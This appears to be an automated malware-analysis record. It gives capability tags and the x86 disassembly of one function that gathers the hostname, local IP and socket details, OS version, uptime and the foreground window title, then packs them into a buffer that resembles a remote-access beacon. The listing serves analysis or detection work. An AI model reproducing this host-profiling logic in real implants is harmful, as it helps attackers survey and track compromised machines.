Function at 0x412130
Capabilities:
Get graphical window text
Get hostname
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xaa8
mov eax, dword [0x446040]
xor eax, esp
mov dword [esp + 0xaa4], eax
push esi
push edi
push 0x333
lea eax, [esp + 0x3d]
mov dword [esp + 0x20], edx
push 0
push eax
mov dword [esp + 0x20], ecx
call fcn.004166e0
add esp, 0xc
mov byte [esp + 0x38], 0xc8
lea eax, [esp + 0x5a8]
mov edx, 0x440b80
push 0x100
push eax
call fcn.00411e50
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x5b0]
add esp, 8
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
test eax, eax
jne 0x4121b0
push 0x441644
lea eax, [esp + 0x5ac]
push eax
call edi
lea eax, [esp + 0x5a8]
push eax
call esi
test eax, eax
lea ecx, [esp + 0x5a8]
mov edx, 0x441644
lea eax, [esp + 0x114]
cmove ecx, edx
push ecx
push eax
call edi
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x10
push eax
lea eax, [esp + 0x24]
xorps xmm0, xmm0
push eax
mov eax, dword [esp + 0x1c]
movaps xmmword [esp + 0x28], xmm0
push dword [eax + 0x48]
call dword [sym.imp.WS2_32.dll_getsockname]
mov eax, dword [esp + 0x24]
mov dword [esp + 0xd8], eax
lea eax, [esp + 0x3c]
push eax
mov dword [esp + 0x40], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x41225d
push str.RtlGetNtVersionNumbers
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x412256
lea ecx, [esp + 0x48]
push ecx
lea ecx, [esp + 0x48]
push ecx
lea ecx, [esp + 0x48]
push ecx
call eax
movzx eax, word [esp + 0x48]
mov dword [esp + 0x48], eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x400
push 0
push 0x44ae78
mov dword [esp + 0x1c], 0
call fcn.004166e0
add esp, 0xc
push 0x43f8e8
push dword [0x447180]
call fcn.00415a40
add esp, 8
test eax, eax
jne 0x4122f4
mov edi, 0x447180
xor esi, esi
mov ecx, dword [edi]
call fcn.004135a0
test eax, eax
je 0x4122c1
push dword [esi + 0x447184]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x44ae78
call esi
push 0x43f8e8
push 0x44ae78
call esi
mov eax, dword [esp + 0x10]
inc eax
push 0x43f8e8
mov dword [esp + 0x14], eax
lea esi, [eax*8]
push dword [esi + 0x447180]
lea edi, [esi + 0x447180]
call fcn.00415a40
add esp, 8
test eax, eax
je 0x412297
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x43f8e8
push 0x44ae78
call fcn.00415a40
add esp, 8
test eax, eax
jne 0x41231a
push 0x43f8ec
push 0x44ae78
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x44ae78]
lea ecx, [ecx + 1]
mov byte [esp + ecx + 0x18b], al
test al, al
jne 0x412320
call fcn.004030b0
lea edx, [esp + 0x1dc]
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x412342
lea eax, [esp + 0x370]
mov edx, 0x43fb28
push 0x100
push eax
call fcn.00411e50
add esp, 8
lea eax, [esp + 0x370]
push eax
call esi
test eax, eax
jne 0x41238a
push 0x100
lea eax, [esp + 0x374]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [esp + 0x370]
push eax
call esi
movups xmm0, xmmword [esp + 0x370]
mov ax, word [esp + 0x3a0]
mov word [esp + 0x10c], ax
mov eax, dword [esp + 0x1c]
movups xmmword [esp + 0xdc], xmm0
mov dword [esp + 0x110], eax
movups xmm0, xmmword [esp + 0x380]
movups xmmword [esp + 0xec], xmm0
movups xmm0, xmmword [esp + 0x390]
movups xmmword [esp + 0xfc], xmm0
call fcn.00402f60
test eax, eax
mov word [esp + 0xc], 0x6425
mov byte [esp + 0xe], 0
setne byte [esp + 0x10e]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov eax, 0x31b5d43b
mul edi
lea eax, [esp + 0xc]
mov esi, edx
shr esi, 0x18
push esi
push eax
lea eax, [esp + 0x548]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
imul eax, esi, 0xfad9a400
add esp, 0xc
add edi, eax
mov eax, 0x95217cb1
mul edi
lea eax, [esp + 0xc]
mov esi, edx
shr esi, 0x15
push esi
push eax
lea eax, [esp + 0x4e0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
imul eax, esi, 0x36ee80
add esp, 0xc
sub edi, eax
mov eax, 0x45e7b273
mul edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0xc]
shr edx, 0xe
push edx
push eax
lea eax, [esp + 0x478]
push eax
call edi
add esp, 0xc
lea eax, [esp + 0x470]
push eax
lea eax, [esp + 0x4dc]
push eax
lea eax, [esp + 0x548]
push eax
lea eax, [esp + 0x152]
push 0x43fb3c
push eax
call edi
add esp, 0x14
mov ecx, str.tLa0utG2t9G1vaY
call fcn.00412070
lea edx, [esp + 0x166]
sub edx, eax
nop dword [eax + eax]
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x4124c0
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x4124eb
push 0x104
lea ecx, [esp + 0x230]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x400
lea eax, [esp + 0x6ac]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [esp + 0x6a8]
push str.MainDllClore
push eax
call edi
add esp, 4
lea eax, [esp + 0x32f]
lea edx, [esp + 0x6ac]
push 0x14
push ecx
push eax
push 1
push 0x440bc8
mov ecx, SysReAllocString
call fcn.004131c0
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x343]
add esp, 0x18
push eax
call esi
push 0x400
lea eax, [esp + 0x6ac]
push 0
push eax
call fcn.004166e0
add esp, 0xc
lea eax, [esp + 0x6a8]
push str.MainDllClore
push eax
call edi
add esp, 4
lea eax, [esp + 0x343]
lea edx, [esp + 0x6ac]
push 0x14
push ecx
push eax
push 1
push 0x440bd0
mov ecx, SysReAllocString
call fcn.004131c0
add esp, 0x18
lea eax, [esp + 0x33f]
push eax
call esi
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x38]
push 0x334
push eax
call fcn.00401bb0
mov ecx, dword [esp + 0xaac]
pop edi
pop esi
xor ecx, esp
call fcn.004137fd
mov esp, ebp
pop ebp
ret